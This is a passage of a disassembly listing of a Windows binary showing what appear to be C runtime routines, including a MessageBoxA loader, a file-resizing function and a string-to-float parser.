XREF: sub_4284E7+167j xor edx, edx test ebx, ebx jl short loc_42866A loc_428658: ; CODE XREF: sub_4284E7+181j lea eax, ds:4E2B18h[edx*4] mov esi, [eax] inc edx cmp edx, ebx mov [eax], edi mov edi, esi jle short loc_428658 loc_42866A: ; CODE XREF: sub_4284E7+16Fj cmp ecx, 10h jge short loc_428676 inc ecx mov ds:dword_4E2B10, ecx loc_428676: ; CODE XREF: sub_4284E7+160j ; sub_4284E7+186j push 0 push offset dword_4E2B58 call ds:dword_42B138 ; InterlockedExchange jmp loc_428525 ; --------------------------------------------------------------------------- loc_428688: ; CODE XREF: sub_4284E7+56j ; sub_4284E7+79j ... xor eax, eax jmp short loc_42870B ; --------------------------------------------------------------------------- loc_42868C: ; CODE XREF: sub_4284E7+A1j test esi, esi jle loc_428525 mov ebx, ds:dword_42B138 push 1 push offset dword_4E2B58 call ebx ; InterlockedExchange test eax, eax jnz loc_428525 cmp ds:dword_4E2B18[esi*4], edi jz short loc_4286E2 mov eax, ds:dword_4E2B10 lea esi, [eax-1] test esi, esi jl short loc_4286D0 loc_4286C0: ; CODE XREF: sub_4284E7+1E3j cmp ds:dword_4E2B18[esi*4], edi jz short loc_4286CC dec esi jns short loc_4286C0 loc_4286CC: ; CODE XREF: sub_4284E7+1E0j test esi, esi jge short loc_4286E0 loc_4286D0: ; CODE XREF: sub_4284E7+1D7j cmp eax, 10h jge short loc_4286DB inc eax mov ds:dword_4E2B10, eax loc_4286DB: ; CODE XREF: sub_4284E7+1ECj lea esi, [eax-1] jmp short loc_4286E2 ; --------------------------------------------------------------------------- loc_4286E0: ; CODE XREF: sub_4284E7+1E7j jz short loc_4286FA loc_4286E2: ; CODE XREF: sub_4284E7+1CBj ; sub_4284E7+1F7j xor ecx, ecx test esi, esi jl short loc_4286FA loc_4286E8: ; CODE XREF: sub_4284E7+211j lea eax, ds:4E2B18h[ecx*4] mov edx, [eax] inc ecx cmp ecx, esi mov [eax], edi mov edi, edx jle short loc_4286E8 loc_4286FA: ; CODE XREF: sub_4284E7:loc_4286E0j ; sub_4284E7+1FFj push 0 push offset dword_4E2B58 call ebx ; InterlockedExchange jmp loc_428525 ; --------------------------------------------------------------------------- loc_428708: ; CODE XREF: sub_4284E7+BBj ; sub_4284E7+C8j ... or eax, 0FFFFFFFFh loc_42870B: ; CODE XREF: sub_4284E7+41j ; sub_4284E7+1A3j pop edi loc_42870C: ; CODE XREF: sub_4284E7+30j pop esi pop ebx leave retn sub_4284E7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_428710 proc near ; CODE XREF: sub_426069+129p ; sub_426FC0+138p var_10 = byte ptr -10h var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_A = byte ptr 12h push ebp mov ebp, esp sub esp, 10h push ebx xor ebx, ebx cmp ds:dword_4E2B5C, ebx push esi push edi jnz short loc_428790 push offset aUser32_dll ; "user32.dll" call ds:dword_42B018 ; LoadLibraryA mov edi, eax cmp edi, ebx jz loc_4287CB mov esi, ds:dword_42B020 push offset aMessageboxa ; "MessageBoxA" push edi call esi ; GetProcAddress test eax, eax mov ds:dword_4E2B5C, eax jz short loc_4287CB push offset aGetactivewindo ; "GetActiveWindow" push edi call esi ; GetProcAddress push offset aGetlastactivep ; "GetLastActivePopup" push edi mov ds:dword_4E2B60, eax call esi ; GetProcAddress cmp ds:dword_4E2900, 2 mov ds:dword_4E2B64, eax jnz short loc_428790 push offset aGetuserobjecti ; "GetUserObjectInformationA" push edi call esi ; GetProcAddress test eax, eax mov ds:dword_4E2B6C, eax jz short loc_428790 push offset aGetprocesswind ; "GetProcessWindowStation" push edi call esi ; GetProcAddress mov ds:dword_4E2B68, eax loc_428790: ; CODE XREF: sub_428710+11j ; sub_428710+60j ... mov eax, ds:dword_4E2B68 test eax, eax jz short loc_4287D5 call eax test eax, eax jz short loc_4287BC lea ecx, [ebp+var_4] push ecx push 0Ch lea ecx, [ebp+var_10] push ecx push 1 push eax call ds:dword_4E2B6C test eax, eax jz short loc_4287BC test [ebp+var_8], 1 jnz short loc_4287D5 loc_4287BC: ; CODE XREF: sub_428710+8Dj ; sub_428710+A4j cmp ds:dword_4E290C, 4 jb short loc_4287CF or [ebp+arg_A], 20h jmp short loc_4287F4 ; --------------------------------------------------------------------------- loc_4287CB: ; CODE XREF: sub_428710+22j ; sub_428710+3Dj xor eax, eax jmp short loc_428804 ; --------------------------------------------------------------------------- loc_4287CF: ; CODE XREF: sub_428710+B3j or [ebp+arg_A], 4 jmp short loc_4287F4 ; --------------------------------------------------------------------------- loc_4287D5: ; CODE XREF: sub_428710+87j ; sub_428710+AAj mov eax, ds:dword_4E2B60 test eax, eax jz short loc_4287F4 call eax mov ebx, eax test ebx, ebx jz short loc_4287F4 mov eax, ds:dword_4E2B64 test eax, eax jz short loc_4287F4 push ebx call eax mov ebx, eax loc_4287F4: ; CODE XREF: sub_428710+B9j ; sub_428710+C3j ... push dword ptr [ebp+10h] push [ebp+arg_4] push [ebp+arg_0] push ebx call ds:dword_4E2B5C loc_428804: ; CODE XREF: sub_428710+BDj pop edi pop esi pop ebx leave retn sub_428710 endp ; =============== S U B R O U T I N E ======================================= sub_428809 proc near ; CODE XREF: sub_42883C+8p arg_0 = byte ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch movzx eax, [esp+arg_0] mov cl, [esp+arg_8] test ds:byte_4E2CC1[eax], cl jnz short loc_428838 cmp [esp+arg_4], 0 jz short loc_428831 mov ecx, ds:off_4437D8 movzx eax, word ptr [ecx+eax*2] and eax, [esp+arg_4] jmp short loc_428833 ; --------------------------------------------------------------------------- loc_428831: ; CODE XREF: sub_428809+16j xor eax, eax loc_428833: ; CODE XREF: sub_428809+26j test eax, eax jnz short loc_428838 retn ; --------------------------------------------------------------------------- loc_428838: ; CODE XREF: sub_428809+Fj ; sub_428809+2Cj xor eax, eax inc eax retn sub_428809 endp ; =============== S U B R O U T I N E ======================================= sub_42883C proc near ; CODE XREF: sub_42638A+3Fp arg_0 = dword ptr 4 push 4 push 0 push [esp+8+arg_0] call sub_428809 add esp, 0Ch retn sub_42883C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42884D proc near ; CODE XREF: sub_426A43+2A6p var_1008 = dword ptr -1008h var_1004 = byte ptr -1004h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 1008h call sub_41EA20 mov eax, ds:dword_4437D4 push ebx mov ebx, [ebp+arg_0] push esi xor esi, esi cmp ebx, ds:dword_4E2B98 mov [ebp+var_4], eax jnb loc_428990 mov eax, ebx sar eax, 5 mov eax, ds:dword_4E2BA0[eax*4] mov ecx, ebx and ecx, 1Fh test byte ptr [eax+ecx*8+4], 1 jz loc_428990 push 1 push esi push ebx call sub_42569D add esp, 0Ch cmp eax, 0FFFFFFFFh mov [ebp+var_1008], eax jz loc_42899A push 2 push esi push ebx call sub_42569D add esp, 0Ch cmp eax, 0FFFFFFFFh jz loc_42899A push edi mov edi, [ebp+arg_4] sub edi, eax test edi, edi jle short loc_42893A push 1000h lea eax, [ebp+var_1004] push esi push eax call sub_41E5F0 push 8000h push ebx call sub_4293D8 add esp, 14h mov [ebp+arg_0], eax loc_4288EE: ; CODE XREF: sub_42884D+C6j mov eax, 1000h cmp edi, eax jge short loc_4288F9 mov eax, edi loc_4288F9: ; CODE XREF: sub_42884D+A8j push eax lea eax, [ebp+var_1004] push eax push ebx call sub_425882 add esp, 0Ch cmp eax, 0FFFFFFFFh jz short loc_428917 sub edi, eax test edi, edi jg short loc_4288EE jmp short loc_42892D ; --------------------------------------------------------------------------- loc_428917: ; CODE XREF: sub_42884D+C0j cmp ds:dword_4E28F8, 5 jnz short loc_42892A mov ds:dword_4E28F4, 0Dh loc_42892A: ; CODE XREF: sub_42884D+D1j or esi, 0FFFFFFFFh loc_42892D: ; CODE XREF: sub_42884D+C8j push [ebp+arg_0] push ebx call sub_4293D8 pop ecx pop ecx jmp short loc_42897A ; --------------------------------------------------------------------------- loc_42893A: ; CODE XREF: sub_42884D+7Cj jge short loc_42897A push 0 push [ebp+arg_4] push ebx call sub_42569D push ebx call sub_42696C add esp, 10h push eax call ds:dword_42B1C8 ; SetEndOfFile mov esi, eax neg esi sbb esi, esi neg esi dec esi cmp esi, 0FFFFFFFFh jnz short loc_42897A mov ds:dword_4E28F4, 0Dh call ds:dword_42B01C ; RtlGetLastWin32Error mov ds:dword_4E28F8, eax loc_42897A: ; CODE XREF: sub_42884D+EBj ; sub_42884D:loc_42893Aj ... push 0 push [ebp+var_1008] push ebx call sub_42569D add esp, 0Ch mov eax, esi pop edi jmp short loc_42899D ; --------------------------------------------------------------------------- loc_428990: ; CODE XREF: sub_42884D+22j ; sub_42884D+3Ej mov ds:dword_4E28F4, 9 loc_42899A: ; CODE XREF: sub_42884D+59j ; sub_42884D+6Ej or eax, 0FFFFFFFFh loc_42899D: ; CODE XREF: sub_42884D+141j mov ecx, [ebp+var_4] pop esi pop ebx call sub_422B83 leave retn sub_42884D endp ; =============== S U B R O U T I N E ======================================= sub_4289A9 proc near ; CODE XREF: sub_427B52+23p ; sub_427B52+3Ap ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_0] push esi mov esi, [esp+4+arg_4] lea ecx, [edx+esi] xor eax, eax cmp ecx, edx jb short loc_4289BF cmp ecx, esi jnb short loc_4289C2 loc_4289BF: ; CODE XREF: sub_4289A9+10j xor eax, eax inc eax loc_4289C2: ; CODE XREF: sub_4289A9+14j mov edx, [esp+4+arg_8] mov [edx], ecx pop esi retn sub_4289A9 endp ; =============== S U B R O U T I N E ======================================= sub_4289CA proc near ; CODE XREF: sub_428A83+48p ; sub_428A83+69p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push edi mov edi, [esp+8+arg_4] push esi push dword ptr [edi] push dword ptr [esi] call sub_4289A9 add esp, 0Ch test eax, eax jz short loc_4289FC lea eax, [esi+4] push eax push 1 push dword ptr [eax] call sub_4289A9 add esp, 0Ch test eax, eax jz short loc_4289FC inc dword ptr [esi+8] loc_4289FC: ; CODE XREF: sub_4289CA+19j ; sub_4289CA+2Dj lea eax, [esi+4] push eax push dword ptr [edi+4] push dword ptr [eax] call sub_4289A9 add esp, 0Ch test eax, eax jz short loc_428A14 inc dword ptr [esi+8] loc_428A14: ; CODE XREF: sub_4289CA+45j lea eax, [esi+8] push eax push dword ptr [edi+8] push dword ptr [eax] call sub_4289A9 add esp, 0Ch pop edi pop esi retn sub_4289CA endp ; =============== S U B R O U T I N E ======================================= sub_428A28 proc near ; CODE XREF: sub_428A83+38p ; sub_428A83+3Ep ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, [eax] mov ecx, esi add esi, esi push edi mov edi, [eax+4] shr ecx, 1Fh mov [eax], esi lea esi, [edi+edi] or esi, ecx mov ecx, [eax+8] mov edx, edi shr edx, 1Fh shl ecx, 1 or ecx, edx pop edi mov [eax+4], esi mov [eax+8], ecx pop esi retn sub_428A28 endp ; =============== S U B R O U T I N E ======================================= sub_428A56 proc near ; CODE XREF: sub_428FE8+1BEp ; sub_42945A+187p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov edx, [eax+8] mov ecx, [eax+4] push esi push edi mov edi, ecx mov esi, edx shr ecx, 1 shl esi, 1Fh or ecx, esi mov [eax+4], ecx mov ecx, [eax] shl edi, 1Fh shr ecx, 1 or ecx, edi shr edx, 1 pop edi mov [eax+8], edx mov [eax], ecx pop esi retn sub_428A56 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_428A83 proc near ; CODE XREF: sub_428B61+3B2p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 14h mov eax, ds:dword_4437D4 push ebx mov ebx, [ebp+arg_8] xor edx, edx mov [ebp+var_4], eax mov eax, [ebp+arg_4] cmp eax, edx push esi push edi mov [ebp+var_14], 404Eh mov [ebx], edx mov [ebx+4], edx mov [ebx+8], edx jbe short loc_428AFE mov [ebp+arg_8], eax loc_428AB2: ; CODE XREF: sub_428A83+77j mov esi, ebx lea edi, [ebp+var_10] movsd movsd push ebx movsd call sub_428A28 push ebx call sub_428A28 lea eax, [ebp+var_10] push eax push ebx call sub_4289CA push ebx call sub_428A28 mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] and [ebp+var_C], 0 and [ebp+var_8], 0 mov [ebp+var_10], eax lea eax, [ebp+var_10] push eax push ebx call sub_4289CA add esp, 1Ch inc [ebp+arg_0] dec [ebp+arg_8] jnz short loc_428AB2 xor edx, edx loc_428AFE: ; CODE XREF: sub_428A83+2Aj cmp [ebx+8], edx jnz short loc_428B32 mov edi, [ebx+8] loc_428B06: ; CODE XREF: sub_428A83+AAj mov ecx, [ebx+4] add [ebp+var_14], 0FFF0h mov eax, ecx shr eax, 10h mov edi, eax mov eax, [ebx] mov esi, eax shr esi, 10h shl ecx, 10h or esi, ecx shl eax, 10h cmp edi, edx mov [ebx+4], esi mov [ebx], eax jz short loc_428B06 mov [ebx+8], edi loc_428B32: ; CODE XREF: sub_428A83+7Ej mov esi, 8000h jmp short loc_428B47 ; --------------------------------------------------------------------------- loc_428B39: ; CODE XREF: sub_428A83+C7j push ebx call sub_428A28 add [ebp+var_14], 0FFFFh pop ecx loc_428B47: ; CODE XREF: sub_428A83+B4j test [ebx+8], esi jz short loc_428B39 mov ax, word ptr [ebp+var_14] mov ecx, [ebp+var_4] pop edi pop esi mov [ebx+0Ah], ax pop ebx call sub_422B83 leave retn sub_428A83 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_428B61 proc near ; CODE XREF: sub_427E44+1Fp ; sub_427E81+1Fp var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = byte ptr -30h var_19 = byte ptr -19h var_14 = dword ptr -14h var_E = dword ptr -0Eh var_A = dword ptr -0Ah var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 5Ch mov eax, ds:dword_4437D4 mov [ebp+var_4], eax push ebx lea eax, [ebp+var_30] push esi mov [ebp+var_3C], eax xor eax, eax xor edx, edx push edi mov edi, [ebp+arg_8] inc edx mov [ebp+var_50], eax mov [ebp+var_4C], edx mov [ebp+var_34], eax mov [ebp+var_44], eax mov [ebp+var_58], eax mov [ebp+var_5C], eax mov [ebp+var_54], eax mov [ebp+var_38], eax mov [ebp+var_48], eax mov [ebp+var_40], edi loc_428B9E: ; CODE XREF: sub_428B61+54j mov cl, [edi] cmp cl, 20h jz short loc_428BB4 cmp cl, 9 jz short loc_428BB4 cmp cl, 0Ah jz short loc_428BB4 cmp cl, 0Dh jnz short loc_428BB7 loc_428BB4: ; CODE XREF: sub_428B61+42j ; sub_428B61+47j ... inc edi jmp short loc_428B9E ; --------------------------------------------------------------------------- loc_428BB7: ; CODE XREF: sub_428B61+51j push 4 pop esi loc_428BBA: ; CODE XREF: sub_428B61+B1j ; sub_428B61+BAj ... mov bl, [edi] inc edi cmp eax, 0Bh ; switch 12 cases ja loc_428E2E ; default ; jumptable 00428BC6 case 10 jmp off_428FB8[eax*4] ; switch jump loc_428BCD: ; DATA XREF: seg000:off_428FB8o cmp bl, 31h ; jumptable 00428BC6 case 0 jl short loc_428BDE cmp bl, 39h jg short loc_428BDE loc_428BD7: ; CODE XREF: sub_428B61+C7j ; sub_428B61+10Fj push 3 jmp loc_428DE6 ; --------------------------------------------------------------------------- loc_428BDE: ; CODE XREF: sub_428B61+6Fj ; sub_428B61+74j cmp bl, ds:byte_4437B4 jnz short loc_428BED loc_428BE6: ; CODE XREF: sub_428B61+11Bj push 5 jmp loc_428E24 ; --------------------------------------------------------------------------- loc_428BED: ; CODE XREF: sub_428B61+83j movsx eax, bl sub eax, 2Bh jz short loc_428C14 dec eax dec eax jz short loc_428C08 sub eax, 3 jz loc_428C8B loc_428C02: ; CODE XREF: sub_428B61+E7j ; sub_428B61+F1j ... dec edi jmp loc_428EC1 ; --------------------------------------------------------------------------- loc_428C08: ; CODE XREF: sub_428B61+96j push 2 pop eax mov [ebp+var_50], 8000h jmp short loc_428BBA ; --------------------------------------------------------------------------- loc_428C14: ; CODE XREF: sub_428B61+92j and [ebp+var_50], 0 push 2 pop eax jmp short loc_428BBA ; --------------------------------------------------------------------------- loc_428C1D: ; CODE XREF: sub_428B61+65j ; DATA XREF: seg000:off_428FB8o cmp bl, 31h ; jumptable 00428BC6 case 1 mov [ebp+var_44], edx jl short loc_428C2A cmp bl, 39h jle short loc_428BD7 loc_428C2A: ; CODE XREF: sub_428B61+C2j cmp bl, ds:byte_4437B4 jz loc_428CE4 cmp bl, 2Bh jz short loc_428C60 cmp bl, 2Dh jz short loc_428C60 cmp bl, 30h jz short loc_428C8B loc_428C45: ; CODE XREF: sub_428B61+1FAj cmp bl, 43h jle short loc_428C02 cmp bl, 45h jle short loc_428C59 cmp bl, 63h jle short loc_428C02 cmp bl, 65h jg short loc_428C02 loc_428C59: ; CODE XREF: sub_428B61+ECj push 6 jmp loc_428E24 ; --------------------------------------------------------------------------- loc_428C60: ; CODE XREF: sub_428B61+D8j ; sub_428B61+DDj ... dec edi push 0Bh jmp loc_428E24 ; --------------------------------------------------------------------------- loc_428C68: ; CODE XREF: sub_428B61+65j ; DATA XREF: seg000:off_428FB8o cmp bl, 31h ; jumptable 00428BC6 case 2 jl short loc_428C76 cmp bl, 39h jle loc_428BD7 loc_428C76: ; CODE XREF: sub_428B61+10Aj cmp bl, ds:byte_4437B4 jz loc_428BE6 cmp bl, 30h jnz loc_428DF2 loc_428C8B: ; CODE XREF: sub_428B61+9Bj ; sub_428B61+E2j mov eax, edx jmp loc_428BBA ; --------------------------------------------------------------------------- loc_428C92: ; CODE XREF: sub_428B61+65j ; DATA XREF: seg000:off_428FB8o mov [ebp+var_44], edx ; jumptable 00428BC6 case 3 loc_428C95: ; CODE XREF: sub_428B61+179j cmp ds:dword_4437B0, edx movzx eax, bl jle short loc_428CAE push esi push eax call sub_422B91 pop ecx xor edx, edx pop ecx inc edx jmp short loc_428CBA ; --------------------------------------------------------------------------- loc_428CAE: ; CODE XREF: sub_428B61+13Dj mov ecx, ds:off_4437D8 movzx eax, byte ptr [ecx+eax*2] and eax, esi loc_428CBA: ; CODE XREF: sub_428B61+14Bj test eax, eax jz short loc_428CDC cmp [ebp+var_34], 19h jnb short loc_428CD4 mov eax, [ebp+var_3C] inc [ebp+var_34] sub bl, 30h inc [ebp+var_3C] mov [eax], bl jmp short loc_428CD7 ; --------------------------------------------------------------------------- loc_428CD4: ; CODE XREF: sub_428B61+161j inc [ebp+var_38] loc_428CD7: ; CODE XREF: sub_428B61+171j mov bl, [edi] inc edi jmp short loc_428C95 ; --------------------------------------------------------------------------- loc_428CDC: ; CODE XREF: sub_428B61+15Bj cmp bl, ds:byte_4437B4 jnz short loc_428D49 loc_428CE4: ; CODE XREF: sub_428B61+CFj mov eax, esi jmp loc_428BBA ; --------------------------------------------------------------------------- loc_428CEB: ; CODE XREF: sub_428B61+65j ; DATA XREF: seg000:off_428FB8o cmp [ebp+var_34], 0 ; jumptable 00428BC6 case 4 mov [ebp+var_44], edx mov [ebp+var_58], edx jnz short loc_428D04 jmp short loc_428CFF ; --------------------------------------------------------------------------- loc_428CF9: ; CODE XREF: sub_428B61+1A1j dec [ebp+var_38] mov bl, [edi] inc edi loc_428CFF: ; CODE XREF: sub_428B61+196j cmp bl, 30h jz short loc_428CF9 loc_428D04: ; CODE XREF: sub_428B61+194j ; sub_428B61+1E6j cmp ds:dword_4437B0, edx movzx eax, bl jle short loc_428D1D push esi push eax call sub_422B91 pop ecx xor edx, edx pop ecx inc edx jmp short loc_428D29 ; --------------------------------------------------------------------------- loc_428D1D: ; CODE XREF: sub_428B61+1ACj mov ecx, ds:off_4437D8 movzx eax, byte ptr [ecx+eax*2] and eax, esi loc_428D29: ; CODE XREF: sub_428B61+1BAj test eax, eax jz short loc_428D49 cmp [ebp+var_34], 19h jnb short loc_428D44 inc [ebp+var_34] mov eax, [ebp+var_3C] sub bl, 30h inc [ebp+var_3C] dec [ebp+var_38] mov [eax], bl loc_428D44: ; CODE XREF: sub_428B61+1D0j mov bl, [edi] inc edi jmp short loc_428D04 ; --------------------------------------------------------------------------- loc_428D49: ; CODE XREF: sub_428B61+181j ; sub_428B61+1CAj cmp bl, 2Bh jz loc_428C60 cmp bl, 2Dh jz loc_428C60 jmp loc_428C45 ; --------------------------------------------------------------------------- loc_428D60: ; CODE XREF: sub_428B61+65j ; DATA XREF: seg000:off_428FB8o cmp ds:dword_4437B0, edx ; jumptable 00428BC6 case 5 mov [ebp+var_58], edx movzx eax, bl jle short loc_428D7C push esi push eax call sub_422B91 pop ecx xor edx, edx pop ecx inc edx jmp short loc_428D88 ; --------------------------------------------------------------------------- loc_428D7C: ; CODE XREF: sub_428B61+20Bj mov ecx, ds:off_4437D8 movzx eax, byte ptr [ecx+eax*2] and eax, esi loc_428D88: ; CODE XREF: sub_428B61+219j test eax, eax jz short loc_428DF2 mov eax, esi jmp short loc_428DE7 ; --------------------------------------------------------------------------- loc_428D90: ; CODE XREF: sub_428B61+65j ; DATA XREF: seg000:off_428FB8o cmp bl, 31h ; jumptable 00428BC6 case 6 lea ecx, [edi-2] mov [ebp+var_40], ecx jl short loc_428DA0 cmp bl, 39h jle short loc_428DE4 loc_428DA0: ; CODE XREF: sub_428B61+238j movsx eax, bl sub eax, 2Bh jz short loc_428E22 dec eax dec eax jz short loc_428E16 sub eax, 3 jnz loc_428EBF loc_428DB5: ; CODE XREF: sub_428B61+28Fj push 8 jmp short loc_428E24 ; --------------------------------------------------------------------------- loc_428DB9: ; CODE XREF: sub_428B61+65j ; DATA XREF: seg000:off_428FB8o mov [ebp+var_5C], edx ; jumptable 00428BC6 case 8 jmp short loc_428DC1 ; --------------------------------------------------------------------------- loc_428DBE: ; CODE XREF: sub_428B61+263j mov bl, [edi] inc edi loc_428DC1: ; CODE XREF: sub_428B61+25Bj cmp bl, 30h jz short loc_428DBE cmp bl, 31h jl loc_428C02 cmp bl, 39h jg loc_428C02 jmp short loc_428DE4 ; --------------------------------------------------------------------------- loc_428DDA: ; CODE XREF: sub_428B61+65j ; DATA XREF: seg000:off_428FB8o cmp bl, 31h ; jumptable 00428BC6 case 7 jl short loc_428DED cmp bl, 39h jg short loc_428DED loc_428DE4: ; CODE XREF: sub_428B61+23Dj ; sub_428B61+277j push 9 loc_428DE6: ; CODE XREF: sub_428B61+78j pop eax loc_428DE7: ; CODE XREF: sub_428B61+22Dj dec edi jmp loc_428BBA ; --------------------------------------------------------------------------- loc_428DED: ; CODE XREF: sub_428B61+27Cj ; sub_428B61+281j cmp bl, 30h jz short loc_428DB5 loc_428DF2: ; CODE XREF: sub_428B61+124j ; sub_428B61+229j mov edi, [ebp+var_40] jmp loc_428EC1 ; --------------------------------------------------------------------------- loc_428DFA: ; CODE XREF: sub_428B61+65j ; DATA XREF: seg000:off_428FB8o cmp [ebp+arg_18], 0 ; jumptable 00428BC6 case 11 jz short loc_428E2A movsx eax, bl sub eax, 2Bh lea ecx, [edi-1] mov [ebp+var_40], ecx jz short loc_428E22 dec eax dec eax jnz loc_428EBF loc_428E16: ; CODE XREF: sub_428B61+249j or [ebp+var_4C], 0FFFFFFFFh push 7 pop eax jmp loc_428BBA ; --------------------------------------------------------------------------- loc_428E22: ; CODE XREF: sub_428B61+245j ; sub_428B61+2ABj push 7 loc_428E24: ; CODE XREF: sub_428B61+87j ; sub_428B61+FAj ... pop eax jmp loc_428BBA ; --------------------------------------------------------------------------- loc_428E2A: ; CODE XREF: sub_428B61+29Dj push 0Ah pop eax dec edi loc_428E2E: ; CODE XREF: sub_428B61+5Fj ; sub_428B61+65j ; DATA XREF: ... cmp eax, 0Ah ; default ; jumptable 00428BC6 case 10 jnz loc_428BBA jmp loc_428EC1 ; --------------------------------------------------------------------------- loc_428E3C: ; CODE XREF: sub_428B61+65j ; DATA XREF: seg000:off_428FB8o mov [ebp+var_5C], 1 ; jumptable 00428BC6 case 9 xor esi, esi loc_428E45: ; CODE XREF: sub_428B61+322j cmp ds:dword_4437B0, 1 movzx eax, bl jle short loc_428E5D push 4 push eax call sub_422B91 pop ecx pop ecx jmp short loc_428E6A ; --------------------------------------------------------------------------- loc_428E5D: ; CODE XREF: sub_428B61+2EEj mov ecx, ds:off_4437D8 movzx eax, byte ptr [ecx+eax*2] and eax, 4 loc_428E6A: ; CODE XREF: sub_428B61+2FAj test eax, eax jz short loc_428E8A movsx ecx, bl lea eax, [esi+esi*4] lea esi, [ecx+eax*2-30h] cmp esi, 1450h jg short loc_428E85 mov bl, [edi] inc edi jmp short loc_428E45 ; --------------------------------------------------------------------------- loc_428E85: ; CODE XREF: sub_428B61+31Dj mov esi, 1451h loc_428E8A: ; CODE XREF: sub_428B61+30Bj mov [ebp+var_54], esi loc_428E8D: ; CODE XREF: sub_428B61+35Cj cmp ds:dword_4437B0, 1 movzx eax, bl jle short loc_428EA5 push 4 push eax call sub_422B91 pop ecx pop ecx jmp short loc_428EB2 ; --------------------------------------------------------------------------- loc_428EA5: ; CODE XREF: sub_428B61+336j mov ecx, ds:off_4437D8 movzx eax, byte ptr [ecx+eax*2] and eax, 4 loc_428EB2: ; CODE XREF: sub_428B61+342j test eax, eax jz loc_428C02 mov bl, [edi] inc edi jmp short loc_428E8D ; --------------------------------------------------------------------------- loc_428EBF: ; CODE XREF: sub_428B61+24Ej ; sub_428B61+2AFj mov edi, ecx loc_428EC1: ; CODE XREF: sub_428B61+A2j ; sub_428B61+294j ... cmp [ebp+var_44], 0 mov eax, [ebp+arg_4] mov [eax], edi jz loc_428F66 push 18h pop eax cmp [ebp+var_34], eax jbe short loc_428EED cmp [ebp+var_19], 5 jl short loc_428EE1 inc [ebp+var_19] loc_428EE1: ; CODE XREF: sub_428B61+37Bj mov [ebp+var_34], eax mov eax, [ebp+var_3C] dec eax inc [ebp+var_38] jmp short loc_428EF0 ; --------------------------------------------------------------------------- loc_428EED: ; CODE XREF: sub_428B61+375j mov eax, [ebp+var_3C] loc_428EF0: ; CODE XREF: sub_428B61+38Aj cmp [ebp+var_34], 0 jbe loc_428F8D jmp short loc_428F02 ; --------------------------------------------------------------------------- loc_428EFC: ; CODE XREF: sub_428B61+3A5j dec [ebp+var_34] inc [ebp+var_38] loc_428F02: ; CODE XREF: sub_428B61+399j dec eax cmp byte ptr [eax], 0 jz short loc_428EFC lea eax, [ebp+var_14] push eax push [ebp+var_34] lea eax, [ebp+var_30] push eax call sub_428A83 mov eax, [ebp+var_54] xor ecx, ecx add esp, 0Ch cmp [ebp+var_4C], ecx jge short loc_428F27 neg eax loc_428F27: ; CODE XREF: sub_428B61+3C2j add eax, [ebp+var_38] cmp [ebp+var_5C], ecx jnz short loc_428F32 add eax, [ebp+arg_10] loc_428F32: ; CODE XREF: sub_428B61+3CCj cmp [ebp+var_58], ecx jnz short loc_428F3A sub eax, [ebp+arg_14] loc_428F3A: ; CODE XREF: sub_428B61+3D4j cmp eax, 1450h jg short loc_428F6F cmp eax, 0FFFFEBB0h jl short loc_428F86 push [ebp+arg_C] push eax lea eax, [ebp+var_14] push eax call sub_42968C mov edx, [ebp+var_14] mov ebx, [ebp+var_14+2] mov esi, [ebp+var_E] mov eax, [ebp+var_A] add esp, 0Ch jmp short loc_428F95 ; --------------------------------------------------------------------------- loc_428F66: ; CODE XREF: sub_428B61+369j mov [ebp+var_48], 4 jmp short loc_428F8D ; --------------------------------------------------------------------------- loc_428F6F: ; CODE XREF: sub_428B61+3DEj xor ebx, ebx mov eax, 7FFFh mov esi, 80000000h xor edx, edx mov [ebp+var_48], 2 jmp short loc_428F95 ; --------------------------------------------------------------------------- loc_428F86: ; CODE XREF: sub_428B61+3E5j mov [ebp+var_48], 1 loc_428F8D: ; CODE XREF: sub_428B61+393j ; sub_428B61+40Cj xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx loc_428F95: ; CODE XREF: sub_428B61+403j ; sub_428B61+423j mov ecx, [ebp+arg_0] or eax, [ebp+var_50] pop edi mov [ecx+6], esi mov [ecx+2], ebx mov [ecx+0Ah], ax mov eax, [ebp+var_48] mov [ecx], dx mov ecx, [ebp+var_4] pop esi pop ebx call sub_422B83 leave retn sub_428B61 endp ; --------------------------------------------------------------------------- off_428FB8 dd offset loc_428BCD ; DATA XREF: sub_428B61+65r dd offset loc_428C1D ; jump table for switch statement dd offset loc_428C68 dd offset loc_428C92 dd offset loc_428CEB dd offset loc_428D60 dd offset loc_428D90 dd offset loc_428DDA dd offset loc_428DB9 dd offset loc_428E3C dd offset loc_428E2E dd offset loc_428DFA ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_428FE8 proc near ; CODE XREF: sub_427FEF+34p var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = byte ptr -28h var_1C = byte ptr -1Ch var_1B = byte ptr -1Bh var_1A = byte ptr -1Ah var_19 